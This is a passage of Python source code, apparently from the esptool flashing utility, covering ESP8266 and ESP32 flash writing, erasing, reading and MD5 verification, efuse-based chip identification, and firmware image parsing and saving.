              from_offs = seq * self.ESP_RAM_BLOCK\n                    to_offs = from_offs + self.ESP_RAM_BLOCK\n                    self.mem_block(stub[field][from_offs:to_offs], seq)\n        print(\"Running stub...\")\n        self.mem_finish(stub['entry'])\n\n        p = self.read()\n        if p != b'OHAI':\n            raise FatalError(\"Failed to start stub. Unexpected response: %s\" % p)\n        print(\"Stub running...\")\n        return self.STUB_CLASS(self)\n\n    @stub_and_esp32_function_only\n    def flash_defl_begin(self, size, compsize, offset):\n        num_blocks = (compsize + self.FLASH_WRITE_SIZE - 1) // self.FLASH_WRITE_SIZE\n        erase_blocks = (size + self.FLASH_WRITE_SIZE - 1) // self.FLASH_WRITE_SIZE\n\n        t = time.time()\n        if self.IS_STUB:\n            write_size = size\n            timeout = DEFAULT_TIMEOUT\n        else:\n            write_size = erase_blocks * self.FLASH_WRITE_SIZE\n            timeout = timeout_per_mb(ERASE_REGION_TIMEOUT_PER_MB, write_size)\n        print(\"Compressed %d bytes to %d...\" % (size, compsize))\n        self.check_command(\"enter compressed flash mode\", self.ESP_FLASH_DEFL_BEGIN,\n                           struct.pack('<IIII', write_size, num_blocks, self.FLASH_WRITE_SIZE, offset),\n                           timeout=timeout)\n        if size != 0 and not self.IS_STUB:\n            print(\"Took %.2fs to erase flash block\" % (time.time() - t))\n        return num_blocks\n\n    @stub_and_esp32_function_only\n    def flash_defl_block(self, data, seq, timeout=DEFAULT_TIMEOUT):\n        self.check_command(\"write compressed data to flash after seq %d\" % seq,\n                           self.ESP_FLASH_DEFL_DATA, struct.pack('<IIII', len(data), seq, 0, 0) + data, self.checksum(data), timeout=timeout)\n\n    @stub_and_esp32_function_only\n    def flash_defl_finish(self, reboot=False):\n        if not reboot and not self.IS_STUB:\n            return\n        pkt = struct.pack('<I', int(not reboot))\n        self.check_command(\"leave compressed flash mode\", self.ESP_FLASH_DEFL_END, pkt)\n        self.in_bootloader = False\n\n    @stub_and_esp32_function_only\n    def flash_md5sum(self, addr, size):\n\n        timeout = timeout_per_mb(MD5_TIMEOUT_PER_MB, size)\n        res = self.check_command('calculate md5sum', self.ESP_SPI_FLASH_MD5, struct.pack('<IIII', addr, size, 0, 0),\n                                 timeout=timeout)\n\n        if len(res) == 32:\n            return res.decode(\"utf-8\")\n        elif len(res) == 16:\n            return hexify(res).lower()\n        else:\n            raise FatalError(\"MD5Sum command returned unexpected result: %r\" % res)\n\n    @stub_and_esp32_function_only\n    def change_baud(self, baud):\n        print(\"Changing baud rate to %d\" % baud)\n\n        second_arg = self._port.baudrate if self.IS_STUB else 0\n        self.command(self.ESP_CHANGE_BAUDRATE, struct.pack('<II', baud, second_arg))\n        print(\"Changed.\")\n        self._set_port_baudrate(baud)\n        time.sleep(0.05)\n        self.flush_input()\n\n    @stub_function_only\n    def erase_flash(self):\n\n        self.check_command(\"erase flash\", self.ESP_ERASE_FLASH,\n                           timeout=CHIP_ERASE_TIMEOUT)\n\n    @stub_function_only\n    def erase_region(self, offset, size):\n        if offset % self.FLASH_SECTOR_SIZE != 0:\n            raise FatalError(\"Offset to erase from must be a multiple of 4096\")\n        if size % self.FLASH_SECTOR_SIZE != 0:\n            raise FatalError(\"Size of data to erase must be a multiple of 4096\")\n        timeout = timeout_per_mb(ERASE_REGION_TIMEOUT_PER_MB, size)\n        self.check_command(\"erase region\", self.ESP_ERASE_REGION, struct.pack('<II', offset, size), timeout=timeout)\n\n    @stub_function_only\n    def read_flash(self, offset, length, progress_fn=None):\n\n        self.check_command(\"read flash\", self.ESP_READ_FLASH,\n                           struct.pack('<IIII',\n                                       offset,\n                                       length,\n                                       self.FLASH_SECTOR_SIZE,\n                                       64))\n\n        data = b''\n        while len(data) < length:\n            p = self.read()\n            data += p\n            if len(data) < length and len(p) < self.FLASH_SECTOR_SIZE:\n                raise FatalError('Corrupt data, expected 0x%x bytes but received 0x%x bytes' % (self.FLASH_SECTOR_SIZE, len(p)))\n            self.write(struct.pack('<I', len(data)))\n            if progress_fn and (len(data) % 1024 == 0 or len(data) == length):\n                progress_fn(len(data), length)\n        if progress_fn:\n            progress_fn(len(data), length)\n        if len(data) > length:\n            raise FatalError('Read more than expected')\n\n        digest_frame = self.read()\n        if len(digest_frame) != 16:\n            raise FatalError('Expected digest, got: %s' % hexify(digest_frame))\n        expected_digest = hexify(digest_frame).upper()\n        digest = hashlib.md5(data).hexdigest().upper()\n        if digest != expected_digest:\n            raise FatalError('Digest mismatch: expected %s, got %s' % (expected_digest, digest))\n        return data\n\n    def flash_spi_attach(self, hspi_arg):\n\n        arg = struct.pack('<I', hspi_arg)\n        if not self.IS_STUB:\n            is_legacy = 0\n            arg += struct.pack('BBBB', is_legacy, 0, 0, 0)\n        self.check_command(\"configure SPI flash pins\", ESP32ROM.ESP_SPI_ATTACH, arg)\n\n    def flash_set_parameters(self, size):\n        fl_id = 0\n        total_size = size\n        block_size = 64 * 1024\n        sector_size = 4 * 1024\n        page_size = 256\n        status_mask = 0xffff\n        self.check_command(\"set SPI params\", ESP32ROM.ESP_SPI_SET_PARAMS,\n                           struct.pack('<IIIIII', fl_id, total_size, block_size, sector_size, page_size, status_mask))\n\n    def run_spiflash_command(self, spiflash_command, data=b\"\", read_bits=0):\n        SPI_USR_COMMAND = (1 << 31)\n        SPI_USR_MISO = (1 << 28)\n        SPI_USR_MOSI = (1 << 27)\n\n        base = self.SPI_REG_BASE\n        SPI_CMD_REG = base + 0x00\n        SPI_USR_REG = base + 0x1C\n        SPI_USR1_REG = base + 0x20\n        SPI_USR2_REG = base + 0x24\n        SPI_W0_REG = base + self.SPI_W0_OFFS\n\n        if self.SPI_HAS_MOSI_DLEN_REG:\n\n            def set_data_lengths(mosi_bits, miso_bits):\n                SPI_MOSI_DLEN_REG = base + 0x28\n                SPI_MISO_DLEN_REG = base + 0x2C\n                if mosi_bits > 0:\n                    self.write_reg(SPI_MOSI_DLEN_REG, mosi_bits - 1)\n                if miso_bits > 0:\n                    self.write_reg(SPI_MISO_DLEN_REG, miso_bits - 1)\n        else:\n\n            def set_data_lengths(mosi_bits, miso_bits):\n                SPI_DATA_LEN_REG = SPI_USR1_REG\n                SPI_MOSI_BITLEN_S = 17\n                SPI_MISO_BITLEN_S = 8\n                mosi_mask = 0 if (mosi_bits == 0) else (mosi_bits - 1)\n                miso_mask = 0 if (miso_bits == 0) else (miso_bits - 1)\n                self.write_reg(SPI_DATA_LEN_REG,\n                               (miso_mask << SPI_MISO_BITLEN_S) | (\n                                       mosi_mask << SPI_MOSI_BITLEN_S))\n\n        SPI_CMD_USR = (1 << 18)\n\n        SPI_USR2_DLEN_SHIFT = 28\n\n        if read_bits > 32:\n            raise FatalError(\"Reading more than 32 bits back from a SPI flash operation is unsupported\")\n        if len(data) > 64:\n            raise FatalError(\"Writing more than 64 bytes of data with one SPI command is unsupported\")\n\n        data_bits = len(data) * 8\n        old_spi_usr = self.read_reg(SPI_USR_REG)\n        old_spi_usr2 = self.read_reg(SPI_USR2_REG)\n        flags = SPI_USR_COMMAND\n        if read_bits > 0:\n            flags |= SPI_USR_MISO\n        if data_bits > 0:\n            flags |= SPI_USR_MOSI\n        set_data_lengths(data_bits, read_bits)\n        self.write_reg(SPI_USR_REG, flags)\n        self.write_reg(SPI_USR2_REG,\n                       (7 << SPI_USR2_DLEN_SHIFT) | spiflash_command)\n        if data_bits == 0:\n            self.write_reg(SPI_W0_REG, 0)\n        else:\n            data = pad_to(data, 4, b'\\00')\n            words = struct.unpack(\"I\" * (len(data) // 4), data)\n            next_reg = SPI_W0_REG\n            for word in words:\n                self.write_reg(next_reg, word)\n                next_reg += 4\n        self.write_reg(SPI_CMD_REG, SPI_CMD_USR)\n\n        def wait_done():\n            for _ in range(10):\n                if (self.read_reg(SPI_CMD_REG) & SPI_CMD_USR) == 0:\n                    return\n            raise FatalError(\"SPI command did not complete in time\")\n\n        wait_done()\n\n        status = self.read_reg(SPI_W0_REG)\n\n        self.write_reg(SPI_USR_REG, old_spi_usr)\n        self.write_reg(SPI_USR2_REG, old_spi_usr2)\n        return status\n\n    def read_status(self, num_bytes=2):\n        SPIFLASH_RDSR = 0x05\n        SPIFLASH_RDSR2 = 0x35\n        SPIFLASH_RDSR3 = 0x15\n\n        status = 0\n        shift = 0\n        for cmd in [SPIFLASH_RDSR, SPIFLASH_RDSR2, SPIFLASH_RDSR3][0:num_bytes]:\n            status += self.run_spiflash_command(cmd, read_bits=8) << shift\n            shift += 8\n        return status\n\n    def write_status(self, new_status, num_bytes=2, set_non_volatile=False):\n        SPIFLASH_WRSR = 0x01\n        SPIFLASH_WRSR2 = 0x31\n        SPIFLASH_WRSR3 = 0x11\n        SPIFLASH_WEVSR = 0x50\n        SPIFLASH_WREN = 0x06\n        SPIFLASH_WRDI = 0x04\n\n        enable_cmd = SPIFLASH_WREN if set_non_volatile else SPIFLASH_WEVSR\n\n        if num_bytes == 2:\n            self.run_spiflash_command(enable_cmd)\n            self.run_spiflash_command(SPIFLASH_WRSR, struct.pack(\"<H\", new_status))\n\n        for cmd in [SPIFLASH_WRSR, SPIFLASH_WRSR2, SPIFLASH_WRSR3][0:num_bytes]:\n            self.run_spiflash_command(enable_cmd)\n            self.run_spiflash_command(cmd, struct.pack(\"B\", new_status & 0xFF))\n            new_status >>= 8\n\n        self.run_spiflash_command(SPIFLASH_WRDI)\n\n    def get_crystal_freq(self):\n\n        #\n\n        uart_div = self.read_reg(self.UART_CLKDIV_REG) & self.UART_CLKDIV_MASK\n        est_xtal = (self._port.baudrate * uart_div) / 1e6 / self.XTAL_CLK_DIVIDER\n        norm_xtal = 40 if est_xtal > 33 else 26\n        if abs(norm_xtal - est_xtal) > 1:\n            print(\"WARNING: Detected crystal freq %.2fMHz is quite different to normalized freq %dMHz. Unsupported crystal in use?\" % (est_xtal, norm_xtal))\n        return norm_xtal\n\n    def hard_reset(self):\n        self._setRTS(True)\n        time.sleep(0.1)\n        self._setRTS(False)\n\n    def soft_reset(self, stay_in_bootloader):\n        if not self.IS_STUB:\n            if stay_in_bootloader:\n                return\n            else:\n\n                self.flash_begin(0, 0)\n                self.flash_finish(False)\n        else:\n            if stay_in_bootloader:\n\n                self.flash_begin(0, 0)\n                self.flash_finish(True)\n            elif self.CHIP_NAME != \"ESP8266\":\n                raise FatalError(\"Soft resetting is currently only supported on ESP8266\")\n            else:\n\n                self.command(self.ESP_RUN_USER_CODE, wait_response=False)\n\n\nclass ESP8266ROM(ESPLoader):\n    CHIP_NAME = \"ESP8266\"\n    IS_STUB = False\n\n    DATE_REG_VALUE = 0x00062000\n\n    ESP_OTP_MAC0 = 0x3ff00050\n    ESP_OTP_MAC1 = 0x3ff00054\n    ESP_OTP_MAC3 = 0x3ff0005c\n\n    SPI_REG_BASE = 0x60000200\n    SPI_W0_OFFS = 0x40\n    SPI_HAS_MOSI_DLEN_REG = False\n\n    UART_CLKDIV_REG = 0x60000014\n\n    XTAL_CLK_DIVIDER = 2\n\n    FLASH_SIZES = {\n        '512KB': 0x00,\n        '256KB': 0x10,\n        '1MB': 0x20,\n        '2MB': 0x30,\n        '4MB': 0x40,\n        '2MB-c1': 0x50,\n        '4MB-c1': 0x60,\n        '8MB': 0x80,\n        '16MB': 0x90,\n    }\n\n    BOOTLOADER_FLASH_OFFSET = 0\n\n    def get_efuses(self):\n\n        return (self.read_reg(0x3ff0005c) << 96 |\n                self.read_reg(0x3ff00058) << 64 |\n                self.read_reg(0x3ff00054) << 32 |\n                self.read_reg(0x3ff00050))\n\n    def get_chip_description(self):\n        efuses = self.get_efuses()\n        is_8285 = (efuses & ((1 << 4) | 1 << 80)) != 0\n        return \"ESP8285\" if is_8285 else \"ESP8266EX\"\n\n    def get_chip_features(self):\n        features = [\"WiFi\"]\n        if self.get_chip_description() == \"ESP8285\":\n            features += [\"Embedded Flash\"]\n        return features\n\n    def flash_spi_attach(self, hspi_arg):\n        if self.IS_STUB:\n            super(ESP8266ROM, self).flash_spi_attach(hspi_arg)\n        else:\n\n            self.flash_begin(0, 0)\n\n    def flash_set_parameters(self, size):\n\n        if self.IS_STUB:\n            super(ESP8266ROM, self).flash_set_parameters(size)\n\n    def chip_id(self):\n\n        id0 = self.read_reg(self.ESP_OTP_MAC0)\n        id1 = self.read_reg(self.ESP_OTP_MAC1)\n        return (id0 >> 24) | ((id1 & MAX_UINT24) << 8)\n\n    def read_mac(self):\n\n        mac0 = self.read_reg(self.ESP_OTP_MAC0)\n        mac1 = self.read_reg(self.ESP_OTP_MAC1)\n        mac3 = self.read_reg(self.ESP_OTP_MAC3)\n        if (mac3 != 0):\n            oui = ((mac3 >> 16) & 0xff, (mac3 >> 8) & 0xff, mac3 & 0xff)\n        elif ((mac1 >> 16) & 0xff) == 0:\n            oui = (0x18, 0xfe, 0x34)\n        elif ((mac1 >> 16) & 0xff) == 1:\n            oui = (0xac, 0xd0, 0x74)\n        else:\n            raise FatalError(\"Unknown OUI\")\n        return oui + ((mac1 >> 8) & 0xff, mac1 & 0xff, (mac0 >> 24) & 0xff)\n\n    def get_erase_size(self, offset, size):\n        sectors_per_block = 16\n        sector_size = self.FLASH_SECTOR_SIZE\n        num_sectors = (size + sector_size - 1) // sector_size\n        start_sector = offset // sector_size\n\n        head_sectors = sectors_per_block - (start_sector % sectors_per_block)\n        if num_sectors < head_sectors:\n            head_sectors = num_sectors\n\n        if num_sectors < 2 * head_sectors:\n            return (num_sectors + 1) // 2 * sector_size\n        else:\n            return (num_sectors - head_sectors) * sector_size\n\n    def override_vddsdio(self, new_voltage):\n        raise NotImplementedInROMError(\"Overriding VDDSDIO setting only applies to ESP32\")\n\n\nclass ESP8266StubLoader(ESP8266ROM):\n    FLASH_WRITE_SIZE = 0x4000\n    IS_STUB = True\n\n    def __init__(self, rom_loader):\n        self._port = rom_loader._port\n        self._trace_enabled = rom_loader._trace_enabled\n        self.flush_input()\n\n    def get_erase_size(self, offset, size):\n        return size\n\n\nESP8266ROM.STUB_CLASS = ESP8266StubLoader\n\n\nclass ESP32ROM(ESPLoader):\n    CHIP_NAME = \"ESP32\"\n    IS_STUB = False\n\n    DATE_REG_VALUE = 0x15122500\n\n    IROM_MAP_START = 0x400d0000\n    IROM_MAP_END = 0x40400000\n    DROM_MAP_START = 0x3F400000\n    DROM_MAP_END = 0x3F800000\n\n    STATUS_BYTES_LENGTH = 4\n\n    SPI_REG_BASE = 0x60002000\n    EFUSE_REG_BASE = 0x6001a000\n\n    SPI_W0_OFFS = 0x80\n    SPI_HAS_MOSI_DLEN_REG = True\n\n    UART_CLKDIV_REG = 0x3ff40014\n\n    XTAL_CLK_DIVIDER = 1\n\n    FLASH_SIZES = {\n        '1MB': 0x00,\n        '2MB': 0x10,\n        '4MB': 0x20,\n        '8MB': 0x30,\n        '16MB': 0x40\n    }\n\n    BOOTLOADER_FLASH_OFFSET = 0x1000\n\n    OVERRIDE_VDDSDIO_CHOICES = [\"1.8V\", \"1.9V\", \"OFF\"]\n\n    def is_flash_encryption_key_valid(self):\n        word0 = self.read_efuse(0)\n        rd_disable = (word0 >> 16) & 0x1\n\n        if rd_disable:\n            return True\n        else:\n            key_word = [0] * 7\n            for i in range(len(key_word)):\n                key_word[i] = self.read_efuse(14 + i)\n\n                if key_word[i] != 0:\n                    return True\n            return False\n\n    def get_flash_crypt_config(self):\n        word0 = self.read_efuse(0)\n        rd_disable = (word0 >> 19) & 0x1\n\n        if rd_disable == 0:\n            word5 = self.read_efuse(5)\n            word5 = (word5 >> 28) & 0xF\n            return word5\n        else:\n\n            return 0xF\n\n    def get_chip_description(self):\n        word3 = self.read_efuse(3)\n        chip_ver_rev1 = (word3 >> 15) & 0x1\n        pkg_version = (word3 >> 9) & 0x07\n\n        chip_name = {\n            0: \"ESP32D0WDQ6\",\n            1: \"ESP32D0WDQ5\",\n            2: \"ESP32D2WDQ5\",\n            5: \"ESP32-PICO-D4\",\n        }.get(pkg_version, \"unknown ESP32\")\n\n        return \"%s (revision %d)\" % (chip_name, chip_ver_rev1)\n\n    def get_chip_features(self):\n        features = [\"WiFi\"]\n        word3 = self.read_efuse(3)\n\n        chip_ver_dis_bt = word3 & (1 << 1)\n        if chip_ver_dis_bt == 0:\n            features += [\"BT\"]\n\n        chip_ver_dis_app_cpu = word3 & (1 << 0)\n        if chip_ver_dis_app_cpu:\n            features += [\"Single Core\"]\n        else:\n            features += [\"Dual Core\"]\n\n        chip_cpu_freq_rated = word3 & (1 << 13)\n        if chip_cpu_freq_rated:\n            chip_cpu_freq_low = word3 & (1 << 12)\n            if chip_cpu_freq_low:\n                features += [\"160MHz\"]\n            else:\n                features += [\"240MHz\"]\n\n        pkg_version = (word3 >> 9) & 0x07\n        if pkg_version in [2, 4, 5]:\n            features += [\"Embedded Flash\"]\n\n        word4 = self.read_efuse(4)\n        adc_vref = (word4 >> 8) & 0x1F\n        if adc_vref:\n            features += [\"VRef calibration in efuse\"]\n\n        blk3_part_res = word3 >> 14 & 0x1\n        if blk3_part_res:\n            features += [\"BLK3 partially reserved\"]\n\n        word6 = self.read_efuse(6)\n        coding_scheme = word6 & 0x3\n        features += [\"Coding Scheme %s\" % {\n            0: \"None\",\n            1: \"3/4\",\n            2: \"Repeat (UNSUPPORTED)\",\n            3: \"Invalid\"}[coding_scheme]]\n\n        return features\n\n    def read_efuse(self, n):\n\n        return self.read_reg(self.EFUSE_REG_BASE + (4 * n))\n\n    def chip_id(self):\n        raise NotSupportedError(self, \"chip_id\")\n\n    def read_mac(self):\n\n        words = [self.read_efuse(2), self.read_efuse(1)]\n        bitstring = struct.pack(\">II\", *words)\n        bitstring = bitstring[2:8]\n        try:\n            return tuple(ord(b) for b in bitstring)\n        except TypeError:\n            return tuple(bitstring)\n\n    def get_erase_size(self, offset, size):\n        return size\n\n    def override_vddsdio(self, new_voltage):\n        new_voltage = new_voltage.upper()\n        if new_voltage not in self.OVERRIDE_VDDSDIO_CHOICES:\n            raise FatalError(\"The only accepted VDDSDIO overrides are '1.8V', '1.9V' and 'OFF'\")\n        RTC_CNTL_SDIO_CONF_REG = 0x3ff48074\n        RTC_CNTL_XPD_SDIO_REG = (1 << 31)\n        RTC_CNTL_DREFH_SDIO_M = (3 << 29)\n        RTC_CNTL_DREFM_SDIO_M = (3 << 27)\n        RTC_CNTL_DREFL_SDIO_M = (3 << 25)\n\n        RTC_CNTL_SDIO_FORCE = (1 << 22)\n        RTC_CNTL_SDIO_PD_EN = (1 << 21)\n\n        reg_val = RTC_CNTL_SDIO_FORCE\n        reg_val |= RTC_CNTL_SDIO_PD_EN\n        if new_voltage != \"OFF\":\n            reg_val |= RTC_CNTL_XPD_SDIO_REG\n        if new_voltage == \"1.9V\":\n            reg_val |= (RTC_CNTL_DREFH_SDIO_M | RTC_CNTL_DREFM_SDIO_M | RTC_CNTL_DREFL_SDIO_M)\n        self.write_reg(RTC_CNTL_SDIO_CONF_REG, reg_val)\n        print(\"VDDSDIO regulator set to %s\" % new_voltage)\n\n\nclass ESP32StubLoader(ESP32ROM):\n    FLASH_WRITE_SIZE = 0x4000\n    STATUS_BYTES_LENGTH = 2\n    IS_STUB = True\n\n    def __init__(self, rom_loader):\n        self._port = rom_loader._port\n        self._trace_enabled = rom_loader._trace_enabled\n        self.flush_input()\n\n\nESP32ROM.STUB_CLASS = ESP32StubLoader\n\n\nclass ESPBOOTLOADER(object):\n    IMAGE_V2_MAGIC = 0xea\n\n    IMAGE_V2_SEGMENT = 4\n\n\ndef LoadFirmwareImage(chip, filename):\n    with open(filename, 'rb') as f:\n        if chip.lower() == 'esp32':\n            return ESP32FirmwareImage(f)\n        else:\n            magic = ord(f.read(1))\n            f.seek(0)\n            if magic == ESPLoader.ESP_IMAGE_MAGIC:\n                return ESP8266ROMFirmwareImage(f)\n            elif magic == ESPBOOTLOADER.IMAGE_V2_MAGIC:\n                return ESP8266V2FirmwareImage(f)\n            else:\n                raise FatalError(\"Invalid image magic number: %d\" % magic)\n\n\nclass ImageSegment(object):\n    def __init__(self, addr, data, file_offs=None):\n        self.addr = addr\n        self.data = data\n        self.file_offs = file_offs\n        self.include_in_checksum = True\n        if self.addr != 0:\n            self.pad_to_alignment(4)\n\n    def copy_with_new_addr(self, new_addr):\n        return ImageSegment(new_addr, self.data, 0)\n\n    def split_image(self, split_len):\n        result = copy.copy(self)\n        result.data = self.data[:split_len]\n        self.data = self.data[split_len:]\n        self.addr += split_len\n        self.file_offs = None\n        result.file_offs = None\n        return result\n\n    def __repr__(self):\n        r = \"len 0x%05x load 0x%08x\" % (len(self.data), self.addr)\n        if self.file_offs is not None:\n            r += \" file_offs 0x%08x\" % (self.file_offs)\n        return r\n\n    def pad_to_alignment(self, alignment):\n        self.data = pad_to(self.data, alignment, b'\\x00')\n\n\nclass ELFSection(ImageSegment):\n    def __init__(self, name, addr, data):\n        super(ELFSection, self).__init__(addr, data)\n        self.name = name.decode(\"utf-8\")\n\n    def __repr__(self):\n        return \"%s %s\" % (self.name, super(ELFSection, self).__repr__())\n\n\nclass BaseFirmwareImage(object):\n    SEG_HEADER_LEN = 8\n    SHA256_DIGEST_LEN = 32\n\n    def __init__(self):\n        self.segments = []\n        self.entrypoint = 0\n        self.elf_sha256 = None\n        self.elf_sha256_offset = 0\n\n    def load_common_header(self, load_file, expected_magic):\n        (magic, segments, self.flash_mode, self.flash_size_freq, self.entrypoint) = struct.unpack('<BBBBI', load_file.read(8))\n\n        if magic != expected_magic:\n            raise FatalError('Invalid firmware image magic=0x%x' % (magic))\n        return segments\n\n    def verify(self):\n        if len(self.segments) > 16:\n            raise FatalError('Invalid segment count %d (max 16). Usually this indicates a linker script problem.' % len(self.segments))\n\n    def load_segment(self, f, is_irom_segment=False):\n\n        file_offs = f.tell()\n        (offset, size) = struct.unpack('<II', f.read(8))\n        self.warn_if_unusual_segment(offset, size, is_irom_segment)\n        segment_data = f.read(size)\n        if len(segment_data) < size:\n            raise FatalError('End of file reading segment 0x%x, length %d (actual length %d)' % (offset, size, len(segment_data)))\n        segment = ImageSegment(offset, segment_data, file_offs)\n        self.segments.append(segment)\n        return segment\n\n    def warn_if_unusual_segment(self, offset, size, is_irom_segment):\n        if not is_irom_segment:\n            if offset > 0x40200000 or offset < 0x3ffe0000 or size > 65536:\n                print('WARNING: Suspicious segment 0x%x, length %d' % (offset, size))\n\n    def maybe_patch_segment_data(self, f, segment_data):\n\n        segment_len = len(segment_data)\n        file_pos = f.tell()\n        if self.elf_sha256_offset >= file_pos and self.elf_sha256_offset < file_pos + segment_len:\n\n            patch_offset = self.elf_sha256_offset - file_pos\n\n            if patch_offset < self.SEG_HEADER_LEN or patch_offset + self.SHA256_DIGEST_LEN > segment_len:\n                raise FatalError('Cannot place SHA256 digest on segment boundary' +\n                                 '(elf_sha256_offset=%d, file_pos=%d, segment_size=%d)' %\n                                 (self.elf_sha256_offset, file_pos, segment_len))\n            if segment_data[patch_offset:patch_offset + self.SHA256_DIGEST_LEN] != b'\\x00' * self.SHA256_DIGEST_LEN:\n                raise FatalError('Contents of segment at SHA256 digest offset 0x%x are not all zero. Refusing to overwrite.' %\n                                 self.elf_sha256_offset)\n            assert (len(self.elf_sha256) == self.SHA256_DIGEST_LEN)\n\n            patch_offset -= self.SEG_HEADER_LEN\n            segment_data = segment_data[0:patch_offset] + self.elf_sha256 + \\\n                           segment_data[patch_offset + self.SHA256_DIGEST_LEN:]\n        return segment_data\n\n    def save_segment(self, f, segment, checksum=None):\n\n        segment_data = self.maybe_patch_segment_data(f, segment.data)\n        f.write(struct.pack('<II', segment.addr, len(segment_data)))\n        f.write(segment_data)\n        if checksum is not None:\n            return ESPLoader.checksum(segment_data, checksum)\n\n    def read_checksum(self, f):\n\n        align_file_position(f, 16)\n        return ord(f.read(1))\n\n    def calculate_checksum(self):\n        checksum = ESPLoader.ESP_CHECKSUM_MAGIC\n        for seg in self.segments:\n            if seg.include_in_checksum:\n                checksum = ESPLoader.checksum(seg.data, checksum)\n        return checksum\n\n    def append_checksum(self, f, checksum):\n\n        align_file_position(f, 16)\n        f.write(struct.pack(b'B', checksum))\n\n    def write_common_header(self, f, segments):\n        f.write(struct.pack('<BBBBI', ESPLoader.ESP_IMAGE_MAGIC, len(segments),\n                            self.flash_mode, self.flash_size_freq, self.entrypoint))\n\n    def is_irom_addr(self, addr):\n        return ESP8266ROM.IROM_MAP_START <= addr < ESP8266ROM.IROM_MAP_END\n\n    def get_irom_segment(self):\n        irom_segments = [s for s in self.segments if self.is_irom_addr(s.addr)]\n        if len(irom_segments) > 0:\n            if len(irom_segments) != 1:\n                raise FatalError('Found %d segments that could be irom0. Bad ELF file?' % len(irom_segments))\n            return irom_segments[0]\n        return None\n\n    def get_non_irom_segments(self):\n        irom_segment = self.get_irom_segment()\n        return [s for s in self.segments if s != irom_segment]\n\n\nclass ESP8266ROMFirmwareImage(BaseFirmwareImage):\n    ROM_LOADER = ESP8266ROM\n\n    def __init__(self, load_file=None):\n        super(ESP8266ROMFirmwareImage, self).__init__()\n        self.flash_mode = 0\n        self.flash_size_freq = 0\n        self.version = 1\n\n        if load_file is not None:\n            segments = self.load_common_header(load_file, ESPLoader.ESP_IMAGE_MAGIC)\n\n            for _ in range(segments):\n                self.load_segment(load_file)\n            self.checksum = self.read_checksum(load_file)\n\n            self.verify()\n\n    def default_output_name(self, input_file):\n\n        return input_file + '-'\n\n    def save(self, basename):\n\n        irom_segment = self.get_irom_segment()\n        if irom_segment is not None:\n            with open(\"%s0x%05x.bin\" % (basename, irom_segment.addr - ESP8266ROM.IROM_MAP_START), \"wb\") as f:\n                f.write(irom_segment.data)\n\n        normal_segments = self.get_non_irom_segments()\n        with open(\"%s0x00000.bin\" % basename, 'wb') as f:\n            self.write_common_header(f, normal_segments)\n            checksum = ESPLoader.ESP_CHECKSUM_MAGIC\n            for segment in normal_segments:\n                checksum = self.save_segment(f, segment, checksum)\n            self.append_checksum(f, checksum)\n\n\nclass ESP8266V2FirmwareImage(BaseFirmwareImage):\n    ROM_LOADER = ESP8266ROM\n\n    def __init__(self, load_file=None):\n        super(ESP8266V2FirmwareImage, self).__init__()\n        self.version = 2\n        if load_file is not None:\n            segments = self.load_common_header(load_file, ESPBOOTLOADER.IMAGE_V2_MAGIC)\n            if segments != ESPBOOTLOADER.IMAGE_V2_SEGMENT:\n                print('Warning: V2 header has unexpected \"segment\" count %d (usually 4)' % segments)\n\n            irom_segment = self.load_segment(load_file, True)\n            irom_segment.addr = 0\n            irom_segment.include_in_checksum = False\n\n            first_flash_mode = self.flash_mode\n            first_flash_size_freq = self.flash_size_freq\n            first_entrypoint = self.entrypoint\n\n            segments = self.load_common_header(load_file, ESPLoader.ESP_IMAGE_MAGIC)\n\n            if first_flash_mode != self.flash_mode:\n                print('WARNING: Flash mode value in first header (0x%02x) disagrees with second (0x%02x). Using second value.'\n                      % (first_flash_mode, self.flash_mode))\n            if first_flash_size_freq != self.flash_size_freq:\n                print('WARNING: Flash size/freq value in first header (0x%02x) disagrees with second (0x%02x). Using second value.'\n                      % (first_flash_size_freq, self.flash_size_freq))\n            if first_entrypoint != self.entrypoint:\n                print('WARNING: Entrypoint address in first header (0x%08x) disagrees with second header (0x%08x). Using second value.'\n                      % (first_entrypoint, self.entrypoint))\n\n            for _ in range(segments):\n                self.load_segment(load_file)\n            self.checksum = self.read_checksum(load_file)\n\n            self.verify()\n\n    def default_output_name(self, input_file):\n\n        irom_segment = self.get_irom_segment()\n        if irom_segment is not None:\n            irom_offs = irom_segment.addr - ESP8266ROM.IROM_MAP_START\n        else:\n            irom_offs = 0\n        return \"%s-0x%05x.bin\" % (os.path.splitext(input_file)[0],\n                                  irom_offs & ~(ESPLoader.FLASH_SECTOR_SIZE - 1))\n\n    def save(self, filename):\n        with open(filename, 'wb') as f:\n\n            f.write(struct.pack(b'<BBBBI', ESPBOOTLOADER.IMAGE_V2_MAGIC, ESPBOOTLOADER.IMAGE_V2_SEGMENT,\n                                self.flash_mode, self.flash_size_freq, self.entrypoint))\n\n            irom_segment = self.get_irom_segment()\n            if irom_segment is not None:\n                irom_segment = irom_segment.copy_with_new_addr(0)\n                irom_segment.pad_to_alignment(16)\n                self.save_segment(f, irom_segment)\n\n            normal_segments = self.get_non_irom_segments()\n            self.write_common_header(f, normal_segments)\n            checksum = ESPLoader.ESP_CHECKSUM_MAGIC\n            for segment in normal_segments:\n                checksum = self.save_segment(f, segment, checksum)\n            self.append_checksum(f, checksum)\n\n        with open(filename, 'rb') as f:\n            crc = esp8266_crc32(f.read())\n        with open(filename, 'ab') as f:\n            f.write(struct.pack(b'<I', crc))\n\n\nESPFirmwareImage = ESP8266ROMFirmwareImage\nOTAFirmwareImage = ESP8266V2FirmwareImage\n\n\ndef esp8266_crc32(data):\n    crc = binascii.crc32(data, 0) & 0xFFFFFFFF\n    if crc & 0x80000000:\n        return crc ^ 0xFFFFFFFF\n    else:\n        return crc + 1\n\n\nclass ESP32FirmwareImage(BaseFirmwareImage):\n    ROM_LOADER = ESP32ROM\n\n    WP_PIN_DISABLED = 0xEE\n\n    EXTENDED_HEADER_STRUCT_FMT = \"B\" * 16\n\n    IROM_ALIGN = 65536\n\n    def __init__(self, load_file=None):\n        super(ESP32FirmwareImage, self).__init__()\n        self.secure_pad = False\n        self.flash_mode = 0\n        self.flash_size_freq = 0\n        self.version = 1\n        self.wp_pin = self.WP_PIN_DISABLED\n\n        self.clk_drv = 0\n        self.q_drv = 0\n        self.d_drv = 0\n        self.cs_drv = 0\n        self.hd_drv = 0\n        self.wp_drv = 0\n\n        self.append_digest = True\n\n        if load_file is not None:\n            start = load_file.tell()\n\n            segments = self.load_common_header(load_file, ESPLoader.ESP_IMAGE_MAGIC)\n            self.load_extended_header(load_file)\n\n            for _ in range(segments):\n                self.load_segment(load_file)\n            self.checksum = 